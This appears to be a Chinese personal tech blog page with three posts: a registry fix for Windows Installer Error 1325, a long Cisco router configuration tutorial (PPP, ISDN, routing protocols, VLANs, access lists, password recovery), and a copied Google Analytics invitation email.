Error 1325: Favorites is not a valid short file 解决方法

1

分类 : 网络日志 | 发表时间 30-10-2007

今天到一个同事家安装photoshop cs9时,安装时发现提示"Error 1325: Favorites is not a valid short file",郁闷了好半天,看提示,似是提示"收藏夹"位置不对,但看了看,位置没错呀;

到GG上搜索一下,发现了解决方法:

When you click the Favorites menu in Internet Explorer, all of your favorite URLs may be missing. This might happen if the Favorites Shell Folder is set incorrectly. Open Registry Editor and navigate to:

For Windows 9x Systems

[HKEY CURRENT USER\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders] 

In the right-pane, set the Favorites path to C:\Windows\Favorites

For Windows XP

[HKEY CURRENT USER\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders] 

Set the Favorites path to %USERPROFILE%\Favorites

微软也有一个解决办法,但是下载了程序包以后,安装时竟然也提示那个错误,晕哉;

下面就是微软针对此类问题的一个说法。

"Error 1325 – File name is not a valid short file name" error message after you reinstall Office to a new drive

This article was previously published under Q328162
When you try use the Add or Remove Programs tool in Control Panel to remove Office XP or make changes to your Office XP installation, you may receive the following error message:
Error 1325 – File name is not a valid short file name.

CAUSE

This issue may occur if you have reinstalled Office XP on a new drive after you moved or removed the drive in which Office XP was originally installed.

RESOLUTION

To resolve this issue:
1. Download and install the Windows Installer Cleanup Utility. For additional information about how to download and install the Windows Installer Cleanup Utility, click the following article number to view the article in the Microsoft Knowledge Base:
290301 (http://support.microsoft.com/kb/290301/) Description of the Windows Installer CleanUp Utility
2. Click Start, point to All Programs, and then click Windows Install Clean Up.
3. From the list of installed programs, click Microsoft Office XP , and then click Remove. Note that the exact name of this entry may vary.
4. Click OK to confirm the removal, and then click Exit.
5. Restart your computer, and then install Office XP.

上面所述的清理程序包下载在:
 http://download.microsoft.com/download/e/9/d/e9d80355-7ab4-45b8-80e8-983a48d5e1bd/msicuu2.exe

教你如何调试思科路由器[学习]

0

分类 : 技术文摘 | 发表时间 10-06-2006

一、基本设置方式
一般来说,可以用5种方式来设置Cisco思科路由器:

1.Console口接终端或运行终端仿真软件的微机;

2.AUX口接MODEM,通过电话线与远方的终端或运行终端仿真软件的微机相连;

3.通过Ethernet上的TFTP服务器;

4.通过Ethernet上的TELNET程序;

5.通过Ethernet上的SNMP网管工作站。

但Cisco思科路由器的第一次设置必须通过第一种方式进行,一般用超级终端通过com口进行控制。此时终端的硬件设置如下:
波特率 :9600
数据位 :8
停止位 :1
奇偶校验: 无

二、命令操作
Cisco思科路由器所用的操作系统是IOS.共有以下几种状态:
1、router>
在router>提示符下,Cisco思科路由器处于用户命令状态,这时用户可以看Cisco思科路由器的连接状态,访问其它网络和主机,但不能看到和更改Cisco思科路由器的设置内容。此时输入?并回车,可以查看到在此状态下可以用的命令。(IOS允许你在任何时候用这种方式查看在某种状态下可以用的命令)。在敲入enable并回车后,按照系统提示输入密码,(在新的Cisco思科路由器第一次进行调试的时候不需要输入密码,直接回车即可)进入#提示符,就可以对Cisco思科路由器进行各种操作了。
2、router#
Cisco思科路由器进入特权命令状态router#后,不但可以执行所有的用户命令,还可以看到和更改Cisco思科路由器的设置内容。此时就可以对Cisco思科路由器的名字、密码等进行设置。
3、router(config)#
在router#提示符下键入configure terminal,出现提示符router(config)#,此时Cisco思科路由器处于全局设置状态,这时可以设置Cisco思科路由器的全局参数。
4、router(config-if)#;
router(config-line)#;
router(config-router)#;…
Cisco思科路由器处于局部设置状态,这时可以设置Cisco思科路由器某个局部的参数。
5、Cisco思科路由器处于RXBOOT状态,在开机后60秒内按ctrl-break可进入此状态,这时Cisco思科路由器不能完成正常的功能,只能进行软件升级和手工引导。在此状态下,可以进行口令恢复。

三、常用命令
1.帮助
在IOS操作中,无论任何状态和位置,都可以键入“?”得到系统的帮助。系统会显示此时可以使用的命令。
2.改变命令状态
任务命令
进入特权命令状态enable
退出特权命令状态disable
进入设置对话状态Setup
进入全局设置状态config terminal
退出全局设置状态End
进入端口设置状态interface type slot/number
进入子端口设置状态interface type number.subinterface [point-to-point | multipoint]
进入线路设置状态line type slot/number
进入路由设置状态router protocol
退出局部设置状态Exit
3.显示命令
任务命令
查看版本及引导信息show version
查看运行设置show running-config
查看开机设置show startup-config
显示端口信息show interface type slot/number
显示路由信息show ip router
4.拷贝命令
用于IOS及CONFIG的备份和升级
5.网络命令
任务命令
登录远程主机telnet hostname|IP address
网络侦测ping hostname|IP address
路由跟踪Trace hostname|IP address
6.基本设置命令
任务命令
全局设置config terminal
设置访问用户及密码username username password password
设置特权密码enable secret password
设置Cisco思科路由器名hostname name
设置静态路由ip route destination subnet-mask next-hop
启动IP路由ip routing
启动IPX路由Ipx routing
端口设置interface type slot/number
设置IP地址ip address address subnet-mask
设置IPX网络Ipx network network
激活端口no shutdown
物理线路设置line type number
启动登录进程login [local|tacacs server]
设置登录密码password password

四、总体设置
在router#特权命令状态下,可以用setup对Cisco思科路由器进行总体设计,利用这个设计过程可以省略手工设置的烦琐。但它还不能完全代替手工设置,一些特殊的设置还必须通过手工输入的方式完成。
进入设置对话过程后,Cisco思科路由器首先会显示一些提示信息:
— System Configuration Dialog —
At any point you may enter a question mark ‘?’ for help.
Use ctrl-c to abort configuration dialog at any prompt.
Default settings are in square brackets ‘[]‘.
这是告诉你在设置对话过程中的任何地方都可以键入“?”得到系统的帮助,按ctrl-c可以退出设置过程,缺省设置将显示在‘[]’中。然后Cisco思科路由器会问是否进入设置对话:
Would you like to enter the initial configuration dialog? [yes]:
如果按y或回车,Cisco思科路由器就会进入设置对话过程。首先你可以看到各端口当前的状况:
First, would you like to see the current interface summary? [yes]:
Any interface listed with OK? value “NO” does not have a valid configuration
InterfaceIP-AddressOK?MethodStatusProtocol
Ethernet0unassignedNOunsetupup
Serial0unassignedNOunsetupup
……………………………
然后,Cisco思科路由器就开始全局参数的设置:
Configuring global parameters:
1.设置Cisco思科路由器名:
Enter host name [Router]:
2.设置进入特权状态的密文(secret),此密文在设置以后不会以明文方式显示:
The enable secret is a one-way cryptographic secret used
instead of the enable password when it exists.
Enter enable secret: cisco
3.设置进入特权状态的密码(password),此密码只在没有密文时起作用,并且在设置以后会以明文方式显示:
The enable password is used when there is no enable secret
and when using older software and some boot images.
Enter enable password: pass
4.设置虚拟终端访问时的密码:
Enter virtual terminal password: cisco
5.询问是否要设置Cisco思科路由器支持的各种网络协议:
Configure SNMP Network Management? [yes]:
Configure DECnet? [no]:
Configure AppleTalk? [no]:
Configure IPX? [no]:
Configure IP? [yes]:
Configure IGRP routing? [yes]:
Configure RIP routing? [no]:
………
6.如果配置的是拨号访问服务器,系统还会设置异步口的参数:
Configure Async lines? [yes]:]
1)设置线路的最高速度:
Async line speed [9600]:
2)是否使用硬件流控:
Configure for HW flow control? [yes]:
3)是否设置modem:
Configure for modems? [yes/no]: yes
4)是否使用默认的modem命令:
Configure for default chat script? [yes]:
5)是否设置异步口的PPP参数:
Configure for Dial-in IP SLIP/PPP access? [no]: yes
6)是否使用动态IP地址:
Configure for Dynamic IP addresses? [yes]:
7)是否使用缺省IP地址:
Configure Default IP addresses? [no]: yes
是否使用TCP头压缩:
Configure for TCP Header Compression? [yes]:
9)是否在异步口上使用路由表更新:
Configure for routing updates on async links? [no]: y
10)是否设置异步口上的其它协议。接下来,系统会对每个接口进行参数的设置。
1.Configuring interface Ethernet0:
1)是否使用此接口:
Is this interface in use? [yes]:
2)是否设置此接口的IP参数:
Configure IP on this interface? [yes]:
3)设置接口的IP地址:
IP address for this interface: 192.168.162.2
4)设置接口的IP子网掩码:
Number of bits in subnet field [0]:
Class C network is 192.168.162.0, 0 subnet bits; mask is /24
在设置完所有接口的参数后,系统会把整个设置对话过程的结果显示出来:
The following configuration comm
and script was created:
hostname Router
enable secret 5 $1$W5Oh$p6J7tIgRMBOIKVXVG53Uh1
enable password pass
…………
请注意在enable secret后面显示的是乱码,而enable password后面显示的是设置的内容。就是说,secret密码的优先级比较高,在两个密码都设了的情况下,secret密码起作用。
显示结束后,系统会问是否使用这个设置:
Use this configuration? [yes/no]: yes
如果回答yes,系统就会把设置的结果存入Cisco思科路由器的NVRAM中,然后结束设置对话过程,使Cisco思科路由器开始正常的工作。
广域网协议设置
PPP
PPP(Point-to-Point Protocol)是SLIP(Serial Line IP protocol)的继承者,它提供了跨过同步和异步电路实现Cisco思科路由器到Cisco思科路由器(router-to-router)和主机到网络(host-to-network)的连接。
CHAP(Challenge Handshake Authentication Protocol)和PAP(Password Authentication Protocol) (PAP)通常被用于在PPP封装的串行线路上提供安全性认证。使用CHAP和PAP认证,每个Cisco思科路由器通过名字来识别,可以防止未经授权的访问。
任务命令
设置PPP封装encapsulation ppp1
设置认证方法ppp authentication {chap | chap pap | pap chap | pap} [if-needed] [list-name | default] [callin]
指定口令username name password secret
设置DCE端线路速度clockrate speed
举例
Cisco思科路由器Router1和Router2的S0口均封装PPP协议,采用CHAP做认证,在Router1中应建立一个用户,以对端Cisco思科路由器主机名作为用户名,即用户名应为router2。同时在Router2中应建立一个用户,以对端Cisco思科路由器主机名作为用户名,即用户名应为router1。所建的这两用户的password必须相同。
设置如下:
Router1:
hostname router1
username router2 password xxx
interface Serial0
ip address 192.200.10.1 255.255.255.0
clockrate 1000000
ppp authentication chap
!
Router2:
hostname router2
username router1 password xxx
interface Serial0
ip address 192.200.10.2 255.255.255.0
ppp authentication chap
!
ISDN
1.综合数字业务网(ISDN)
综合数字业务网(ISDN)由数字电话和数据传输服务两部分组成,一般由电话局提供这种服务。ISDN的基本速率接口(BRI)服务提供2个B信道和1个D信道(2B+D)。BRI的B信道速率为64Kbps,用于传输用户数据。D信道的速率为16Kbps,主要传输控制信号。在北美和日本,ISDN的主速率接口(PRI)提供23个B信道和1个D信道,总速率可达1.544Mbps,其中D信道速率为64Kbps。而在欧洲、澳大利亚等国家,ISDN的PRI提供30个B信道和1个64Kbps D信道,总速率可达2.048Mbps。我国电话局所提供ISDN PRI为30B+D。
2.基本命令
任务命令
设置ISDN交换类型isdn switch-type switch-type1
接口设置interface bri 0
设置PPP封装encapsulation ppp
设置协议地址与电话号码的映射dialer map protocol next-hop-address [name hostname] [broadcast] [dial-string]
启动PPP多连接ppp multilink
设置启动另一个B通道的阈值dialer load-threshold load
显示ISDN有关信息show isdn {active | history | memory | services | status [dsl | interface-type number] | timers}
注:1.交换机类型如下表,国内交换机一般为basic-net3。
按区域分关键字 交换机类型
Australia
basic-ts013 Australian TS013 switches
Europe
basic-1tr6 German 1TR6 ISDN switches
basic-nwnet3 Norway NET3 switches (phase 1)
basic-net3 NET3 ISDN switches (UK, Denmark, and other nations); covers the Euro-ISDN E-DSS1 signalling system
primary-net5 NET5 switches (UK and Europe)
vn2 French VN2 ISDN switches
vn3 French VN3 ISDN switches
Japan
ntt Japanese NTT ISDN switches
primary-ntt Japanese ISDN PRI switches
North America
basic-5ess AT&T basic rate switches
basic-dms100 NT DMS-100 basic rate switches
basic-ni1 National ISDN-1 switches
primary-4ess AT&T 4ESS switch type for the U.S. (ISDN PRI only)
primary-5ess AT&T 5ESS switch type for the U.S. (ISDN PRI only)
primary-dms100 NT DMS-100 switch type for the U.S. (ISDN PRI only)
New Zealand
basic-nznet3 New Zealand Net3 switches
3.ISDN实现DDR(dial-on-demand routing)实例:
设置如下:
Router1:
hostname router1
user router2 password cisco
!
isdn switch-type basic-net3
!
interface bri 0
ip address 192.200.10.1 255.255.255.0
encapsulation ppp
dialer map ip 192.200.10.2 name router2 572
dialer load-threshold 80
ppp multilink
dialer-group 1
ppp authentication chap

dialer-list 1 protocol ip permit
!
Router2:
hostname router2
user router1 password cisco
!
isdn switch-type basic-net3
!
interface bri 0
ip address 192.200.10.2 255.255.255.0
encapsulation ppp
dialer map ip 192.200.10.1 name router1 571
dialer load-threshold 80
ppp multilink
dialer-group 1
ppp authentication chap

dialer-list 1 protocol ip permit
!
CiscoCisco思科路由器同时支持回拨功能,我们将Cisco思科路由器Router1作为Callback Server,Router2作为Callback Client。
与回拨相关命令:
任务命令
映射协议地址和电话号码,并在接口上使用在全局模式下定义的PPP回拨的映射类别。dialer map protocol address name hostname class classname dial-string
设置接口支持PPP回拨ppp callback accept
在全局模式下为PPP回拨设置映射类别map-class dialer classname
通过查找注册在dialer map里的主机名来决定回拨. dialer callback-server [username]
设置接口要求PPP回拨ppp callback request
设置如下:
Router1:
hostname router1
user router2 password cisco
!
isdn switch-type basic-net3
!
interface bri 0
ip address 192.200.10.1 255.255.255.0
encapsulation ppp
dialer map ip 192.200.10.2 name router2 class s3 572
dialer load-threshold 80
ppp callback accept
ppp multilink
dialer-group 1
ppp authentication chap

map-class dialer s3
dialer callback-server username
dialer-list 1 protocol ip permit
!
Router2:
hostname router2
user router1 password cisco
!
isdn switch-type basic-net3
!
interface bri 0
ip address 192.200.10.2 255.255.255.0
encapsulation ppp
dialer map ip 192.200.10.1 name router1 571
dialer load-threshold 80
ppp callback request
ppp multilink
dialer-group 1
ppp authentication chap

dialer-list 1 protocol ip permit
!
相关调试命令:
debug dialer
debug isdn event
debug isdn q921
debug isdn q931
debug ppp authentication
debug ppp error
debug ppp negotiation
debug ppp packet
show dialer
show isdn status
举例:
执行debug dialer命令观察router2呼叫router1,router1回拨router2的过程.
router1#debug dialer
router2#ping 192.200.10.1
router1#
00:03:50: %LINK-3-UPDOWN: Interface BRI0:1, changed state to up
00:03:50: BRI0:1PP callback Callback server starting to router2 572
00:03:50: BRI0:1: disconnecting call
00:03:50: %LINK-3-UPDOWN: Interface BRI0:1, changed state to down
00:03:50: BRI0:1: disconnecting call
00:03:50: BRI0:1: disconnecting call
00:03:51: %LINK-3-UPDOWN: Interface BRI0:2, changed state to up
00:03:52: callback to router2 already started
00:03:52: BRI0:2: disconnecting call
00:03:52: %LINK-3-UPDOWN: Interface BRI0:2, changed state to down
00:03:52: BRI0:2: disconnecting call
00:03:52: BRI0:2: disconnecting call
00:04:05: : Callback timer expired
00:04:05: BRI0:beginning callback to router2 572
00:04:05: BRI0: Attempting to dial 572
00:04:05: Freeing callback to router2 572
00:04:05: %LINK-3-UPDOWN: Interface BRI0:1, changed state to up
00:04:05: BRI0:1: No callback negotiated
00:04
:05: %LINK-3-UPDOWN: Interface Virtual-Access1, changed state to up
00:04:05: dialer Protocol up for Vi1
00:04:06: %LINEPROTO-5-UPDOWN: Line protocol on Interface BRI0:1, changed state
to up
00:04:06: %LINEPROTO-5-UPDOWN: Line protocol on Interface Virtual-Access1, chang
ed state to up
00:04:11: %ISDN-6-CONNECT: Interface BRI0:1 is now connected to 572
#router1
4.ISDN访问首都在线263网实例:
本地局部网地址为10.0.0.0/24,属于保留地址,通过NAT地址翻译功能,局域网用户可以通过ISDN上263网访问Internet。263的ISDN电话号码为2633,用户为263,口令为263,所涉及的命令如下表:
任务命令
指定接口通过PPP/IPCP地址协商获得IP地址ip address negotiated
指定内部和外部端口ip nat {inside | outside}
使用ppp/pap作认证ppp authentication pap callin
指定接口属于拨号组1dialer-group 1
定义拨号组1允许所有IP协议dialer-list 1 protocol ip permit
设定拨号,号码为2633dialer string 2633
设定登录263的用户名和口令ppp pap sent-username 263 password 263
设定默认路由ip route 0.0.0.0 0.0.0.0 bri 0
设定符合访问列表2的所有源地址被翻译为bri 0所拥有的地址ip nat inside source list 2 interface bri 0 overload
设定访问列表2,允许所有协议access-list 2 permit any
具体配置如下:
hostname Cisco2503
!
isdn switch-type basic-net3
!
ip subnet-zero
no ip domain-lookup
ip routing
!
interface Ethernet 0
ip address 10.0.0.1 255.255.255.0
ip nat inside
no shutdown
!
interface Serial 0
shutdown
no description
no ip address
!
interface Serial 1
shutdown
no description
no ip address
!
interface bri 0
ip address negotiated
ip nat outside
encapsulation ppp
ppp authentication pap callin
ppp multilink
dialer-group 1
dialer hold-queue 10
dialer string 2633
dialer idle-timeout 120
ppp pap sent-username 263 password 263
no cdp enable
no ip split-horizon
no shutdown
!
ip classless
!
! Static Routes
!
ip route 0.0.0.0 0.0.0.0 bri 0
!
! Access Control List 2
!
access-list 2 permit any
!
dialer-list 1 protocol ip permit
!
! Dynamic NAT
!
ip nat inside source list 2 interface bri 0 overload
snmp-server community public ro
!
line console 0
exec-timeout 0 0
!
line vty 0 4
!
end

路由协议配置
RIP协议
RIP(Routing information Protocol)是应用较早、使用较普遍的内部网关协议(Interior Gateway Protocol,简称IGP),适用于小型同类网络,是典型的距离向量(distance-vector)协议。文档见RFC1058、RFC1723。
RIP通过广播UDP报文来交换路由信息,每30秒发送一次路由信息更新。RIP提供跳跃计数(hop count)作为尺度来衡量路由距离,跳跃计数是一个包到达目标所必须经过的Cisco思科路由器的数目。如果到相同目标有二个不等速或不同带宽的Cisco思科路由器,但跳跃计数相同,则RIP认为两个路由是等距离的。RIP最多支持的跳数为15,即在源和目的网间所要经过的最多Cisco思科路由器的数目为15,跳数16表示不可达。
1.有关命令
任务命令
指定使用RIP协议router rip
指定RIP版本version {1|2}1
指定与该Cisco思科路由器相连的网络network network
注:1.Cisco的RIP版本2支持验证、密钥管理、路由汇总、无类域间路由(CIDR)和变长子网掩码(VLSMs)
2.举例
Router1:
router rip
version 2
network 192.200.10.0
network 192.20.10.0

相关调试命令:
show ip protocol
show ip route
IGRP协议
IGRP (Interior Gateway Routing Protocol)是一种动态距离向量路由协议,它由Cisco公司八十年代中期设计。使用组合用户配置尺度,包括延迟、带宽、可靠性和负载。
缺省情况下,IGRP每90秒发送一次路由更新广播,在3个更新周期内(即270秒),没有从路由中的第一个Cisco思科路由器接收到更新,则宣布路由不可访问。在7个更新周期即630秒后,Cisco IOS 软件从路由表中清除路由。
1.有关命令
任务命令
指定使用igrp协议router igrp autonomous-system1
指定与该Cisco思科路由器相连的网络network network
指定与该Cisco思科路由器相邻的节点地址neighbor ip-address
注:1、autonomous-system可以随意建立,并非实际意义上的autonomous-system,但运行IGRP的Cisco思科路由器要想交换路由更新信息其autonomous-system需相同。
2.举例
Router1:
router igrp 200
network 192.200.10.0
network 192.20.10.0
!
虚拟局域网(VLAN)
当前在我们构造企业网络时所采用的主干网络技术一般都是基于交换和虚拟网络的。交换技术将共享介质改为独占介质,大大提高网络速度。虚拟网络技术打破了地理环境的制约,在不改动网络物理连接的情况下可以任意将工作站在工作组或子网之间移动,工作站组成逻辑工作组或虚拟子网,提高信息系统的运作性能,均衡网络数据流量,合理利用硬件及信息资源。同时,利用虚拟网络技术,大大减轻了网络管理和维护工作的负担,降低网络维护费用。随着虚拟网络技术的应用,随之必然产生了在虚拟网间如何通讯的问题.
交换机间链路(ISL)协议
ISL(Interior Switching Link)协议用于实现交换机间的VLAN中继。它是一个信息包标记协议,在支持ISL接口上发送的帧由一个标准以太网帧及相关的VLAN信息组成。如下图所示,在支持ISL的接口上可以传送来自不同VLAN的数据。
虚拟局域网(VLAN)路由实例
3.1. 例一:
设备选用Catalyst5500交换机1台,安装WS-X5530-E3管理引擎,多块WS-X5225R及WS-X5302路由交换模块,WS-X5302被直接插入交换机,通过二个通道与系统背板上的VLAN 相连,从用户角度看认为它是1个1接口的模块,此接口支持ISL。在交换机内划有3个虚拟网,分别名为default、qbw、rgw,通过WS-X5302实现虚拟网间路由。
以下加重下横线部分,如set system name 5500C为需设置的命令。
设置如下:
Catalyst 5500配置:
begin
set password $1$FMFQ$HfZR5DUszVHIRhrz4h6V70
set enablepass $1$FMFQ$HfZR5DUszVHIRhrz4h6V70
set prompt Console>
set length 24 default
set logout 20
set banner motd ^C^C
!
#system
set system baud 9600
set system modem disable
set system name 5500C
set system location
set system contact
!
#ip
set interface sc0 1 10.230.4.240 255.255.255.0 10.230.4.255
set interface sc0 up
set interface sl0 0.0.0.0 0.0.0.0
set interface sl0 up
set arp agingtime 1200
set ip redirect enable
set ip unreachable enable
set ip fragmentation enable
set ip route 0.0.0.0 10.230.4.15 1
set ip alias default 0.0.0.0
!
#Command alias
!
#vtp
set vtp domain hne
set vtp mode server
set vtp v2 disable
set vtp pruning disable
set vtp pruneeligible 2-1000
clear vtp pruneeligible 1001-1005
set vlan 1 name default type ethernet mtu 1500 said 100001 state active
set vlan 777 name rgw type ethernet mtu 1500 said 100777 state active
set vlan 888 name qbw type ethernet mtu 1500 said 100888 state active
set vlan 1002 name fddi-default type fddi mtu 1500 said 101002 state active
set vlan 1004 name fddinet-default type fddinet mtu 1500 said 101004 state active bridge 0×0 stp ieee
set vlan 1005 name trnet-default type trbrf mtu 1500 said 101005 state active bridge 0×0 stp ibm
set vlan 1003 name token-ring-default type trcrf mtu 1500 said 101003 state active parent 0 ring 0×0 mode srb aremaxhop 7 stemaxhop 7
!
#set boot command
set boot config-register 0×102
set boot system flash bootflash:cat5000-sup3
.4-3-1a.bin
!
#module 1 : 2-port 1000BaseLX Supervisor
set module name 1
set vlan 1 1/1-2
set port enable 1/1-2
!
#module 2 : empty
!
#module 3 : 24-port 10/100BaseTX Ethernet
set module name 3
set module enable 3
set vlan 1 3/1-22
set vlan 777 3/23
set vlan 888 3/24
set trunk 3/1 on isl 1-1005
#module 4 empty
!
#module 5 empty
!
#module 6 : 1-port Route Switch
set module name 6
set port level 6/1 normal
set port trap 6/1 disable
set port name 6/1
set cdp enable 6/1
set cdp interval 6/1 60
set trunk 6/1 on isl 1-1005
!
#module 7 : 24-port 10/100BaseTX Ethernet
set module name 7
set module enable 7
set vlan 1 7/1-22
set vlan 888 7/23-24
set trunk 7/1 on isl 1-1005
set trunk 7/2 on isl 1-1005
!
#module 8 empty
!
#module 9 empty
!
#module 10 : 12-port 100BaseFX MM Ethernet
set module name 10
set module enable 10
set vlan 1 10/1-12
set port channel 10/1-4 off
set port channel 10/5-8 off
set port channel 10/9-12 off
set port channel 10/1-2 on
set port channel 10/3-4 on
set port channel 10/5-6 on
set port channel 10/7-8 on
set port channel 10/9-10 on
set port channel 10/11-12 on
#module 11 empty
!
#module 12 empty
!
#module 13 empty
!
#switch port analyzer
!set span 1 1/1 both inpkts disable
set span disable
!
#cam
set cam agingtime 1-2,777,888,1003,1005 300
end
5500C> (enable)
WS-X5302路由模块设置:
Router#wri t
Building configuration…
Current configuration:
!
version 11.2
no service password-encryption
no service udp-small-servers
no service tcp-small-servers
!
hostname Router
!
enable secret 5 $1$w1kK$AJK69fGOD7BqKhKcSNBf6.
!
ip subnet-zero
!
interface Vlan1
ip address 10.230.2.56 255.255.255.0
!
interface Vlan777
ip address 10.230.3.56 255.255.255.0
!
interface Vlan888
ip address 10.230.4.56 255.255.255.0
!
no ip classless
!
line con 0
line aux 0
line vty 0 4
password router
login
!
end
Router#
3.1. 例二:
交换设备仍选用Catalyst5500交换机1台,安装WS-X5530-E3管理引擎,多块WS-X5225R在交换机内划有3个虚拟网,分别名为default、qbw、rgw,通过Cisco3640Cisco思科路由器实现虚拟网间路由。交换机设置与例一类似。
Cisco思科路由器Cisco3640,配有一块NM-1FE-TX模块,此模块带有一个快速以太网接口可以支持ISL。Cisco3640快速以太网接口与交换机上的某一支持ISL的端口实现连接,如交换机第3槽第1个接口(3/1口)。
Router#wri t
Building configuration…
Current configuration:
!
version 11.2
no service password-encryption
no service udp-small-servers
no service tcp-small-servers
!
hostname Router
!
enable secret 5 $1$w1kK$AJK69fGOD7BqKhKcSNBf6.
!
ip subnet-zero
!
interface FastEthernet1/0
!
interface FastEthernet1/0.1
encapsulation isl 1
ip address 10.230.2.56 255.255.255.0
!
interface FastEthernet1/0.2
encapsulation isl 777
ip address 10.230.3.56 255.255.255.0
!
interface FastEthernet1/0.3
encapsulation isl 888
ip address 10.230.4.56 255.255.255.0
!
no ip classless
!
line con 0
line aux 0
line vty 0 4
password router
login
!
end
Router#

安全性管理
对Cisco思科路由器的安全性管理主要包括:建立口令以保护访问Cisco思科路由器的安全,使用正确的访问表以管理通过Cisco思科路由器的可接受数据流等。
1、口令管理
下面显示了设置控制从终端进行访问的口令的命令。
命令 操作效果
Line console 0 为控制台终端建立一个口令
Line vty 0 4 telnet连接建立一个口令
Enable-password 为特权exec模式建立一个口令
Enable-secret 使用MD5加密方法建立密码口令
Service password-encryption 保护口令,避免其通过idsplay命令
将口令显示出来
2、报文过滤
cisco的防火墙功能主要是通过报文的过滤实现的。
它可以实现对多种数据流的控制,如限制流入、以及流出等。通过对访问列表的编写,我们可以实现对特定网络或主机的数据流限制。
Accsess-list 的编号有特定的范围:
IP standard access list
IP extended access list
Extended 48-bit MAC address access list
Protocol type-code access list
48-bit MAC address access list
例如我们可以定义如下的访问表来实现允许任何主机到主机160..10.2.101的报文:
Accsess-list 101 permit ip any host 160.10.2.101
而下面的语句允许使用客户源端口(小于1024的端口留给服务器用)方式的主机发往160.10.2.100的udp报文通过,且报文的目的端口必须为dns端口(53)。其中gt为great than。
Accsess-list 101 permit udp any gt 1023 host 160.10.2.100 eq 53
建立好访问列表以后,要想让它进行报文过滤,必须将它应用到端口上。在进入要控制的端口后,用如下的命令应用此访问表:
router(config-if)#ip access-group 101 in
其中的in表示对向里(针对此端口来说)的数据进行过滤。要注意的是,一个端口只能有一个向里和向外的列表,如果有几个,则只有第一个起作用。
参考:
CiscoCisco思科路由器口令恢复
当CiscoCisco思科路由器的口令被错误修改或忘记时,可以按如下步骤进行操作:
1.开机时按使进入ROM监控状态
2.按o 命令读取配置寄存器的原始值
> o
3.作如下设置,使忽略NVRAM引导
>o/r0x**4*Cisco2500系列命令
rommon 1 >confreg 0x**4*Cisco2600、1600系列命令
一般正常值为0×2102
4.重新启动Cisco思科路由器
>I
rommon 2 >reset
5.在“Setup”模式,对所有问题回答No
6.进入特权模式
Router>enable
7.下载NVRAM
Router>configure memory
8.恢复原始配置寄存器值并激活所有端口
“hostname”#configure terminal
“hostname”(config)#config-register 0x“value”
“hostname”(config)#interface xx
“hostname”(config)#no shutdown
9.查询并记录丢失的口令
“hostname”#show configuration (show startup-config)
10.修改口令
“hostname”#configure terminal
“hostname”(config)line console 0
“hostname”(config-line)#login
“hostname”(config-line)#password xxxxxxxxx
“hostname”(config-line)#
“hostname”(config-line)#write memory(copy running-config startup-config)

2、IP地址分配
地址类网络主机网络地址范围标准二进制掩码
AN.H.H.H1-1261111 1111 0000 0000 0000 0000 0000 0000
BN.N.H.H128-1911111 1111 1111 1111 0000 0000 0000 0000
CN.N.N.H192-2231111 1111 1111 1111 1111 1111 0000 0000
子网位个数子网掩码子网数主机数
B类地址
2255.255.192.0216382
3255.255.224.068198
4255.255.240.0144894
5255.255.248.0302846
6255.255.252.0621822
7255.255.254.0126518
8255.255.255.0254254
9255.255.255.128518126
10255.255.255.192182262
11255.255.255.224284630
12255.255.255.240489414
13255.255.255.24881986
14255.255.255.252163822
C类地址
2255.255.255.192262
3255.255.255.224630
4255.255.255.2401414
5255.255.255.248306
6255.255.255.252622

Cisco思科路由器
最简单的网络可以想象成单线的总线,各个计算机可以通过向总线发送分组以互相通信。但随着网络中的计算机数目增长,这就很不可行了,会产生许多问题:
1、带宽资源耗尽。
2、每台计算机都浪费许多时间处理无关的广播数据。
3、网络变得无法管理,任何错误都可能导致整个网络瘫痪。
4、每台计算机都可以监听到其

今日收到Google Analytics Invitation Code

0

分类 : 网络日志 | 发表时间 08-06-2006



申请 Google Analytics
我们已经准备好给您创建 Google Analytics 帐户!感谢您在此过程中的耐心。要创建一个 Google Analytics 帐户,请按照以下说明操作。若您的网站每天有超过 1 百万浏览量,请在提交申请前回复此电子邮件以确保我们为您提供适当的服务。

—–
第1步: 获取 Google 帐户
—–

Google 帐户是由一个电子邮件地址和密码组合以允许您登录到各种各样的 Google 服务,包括 Analytics,AdWords,Google 在线论坛,和您个性化的 Google 主页。若您还未拥有一个 Google 帐户,您需要在此申请过程前创建一个。

要创建一个免费的 Google 帐户,点击以下链接。一旦您提交了您的信息,您将需要回复一个发送给您的确认邮件。为了您将来容易使用,您也许希望先打印此邮件。

https://www.google.com/accounts/NewAccount?hl=zh_cn

—–
第2步: 申请 Google Analytics
—–

一旦您拥有一个 Google 帐户,点击以下链接开始 Google Analytics 的申请过程,并在提供的登录框中输入您的 Google 帐户信息。

https://www.google.com/analytics/home/?hl=zh_cn

当您被提示输入一个独立的邀请号时,输入您原邀请邮件中包含的字母数字号码。

感谢您对 Google Analytics 的兴趣!

Google Analytics 小组敬上



Hello,

Thank you for your interest in Google Analytics! We’re happy to inform you that your unique invitation code is now available. Please choose the option below that applies to you and follow the instructions to create your Google Analytics account. Once you’ve done so, please refer to our Installation Guide to help you get started.

Notice: If your site receives more than 5 million page views per month, you must have a linked AdWords account with at least one active campaign. If your site receives more than 10 million page views per day, please contact us by replying to this message before signing up so that we can ensure proper capacity planning.

Option 1: If you have an existing AdWords account
Log in to your AdWords account at adwords.google.com and click the Analytics tab. Enter the following invitation code to create your new Analytics account:

xxxx-xxxx-xxxx

Option 2: If you don’t have an AdWords account, and aren’t ready to create one

Option 3: If you don’t have an AdWords account, and would like to create one with a $25 credit

——————————————————————————–

Option 2: If you don’t have an AdWords account, and aren’t ready to create one:

To sign up without an AdWords account, you’ll need to first make sure that you have a free Google Account. A Google Account is a single email address and password combination that allows you to log in to a variety of Google services, including Analytics, AdWords, Google Groups and your personalized Google home page.

To create your free Google Account, click the link below. Once you’ve provided your information, you’ll need to respond to the verification email that we send you.

https://www.google.com/accounts/NewAccount

Click the link below to start the Google Analytics sign-up process, and enter your Google Account information in the login box provided.

https://www.google.com/analytics/home/

When prompted for your unique invitation code, enter:
IFAU-M2L2G-BKRA

Option 3: If you don’t have an AdWords account, and would like to create one with a $25 credit:

As a way to thank you for your interest and your patience, here’s a gift from us to you � a credit worth US $25 that you can use to get started with AdWords. (This is for new AdWords accounts only. A small AdWords activation fee may apply; please review the terms at the bottom of this email.)

To claim your US $25 gift and get started with AdWords, click here.
Find the Sign Up Now section and click Click to begin. Follow the instructions to set up your account and create your campaign (it’s easy).
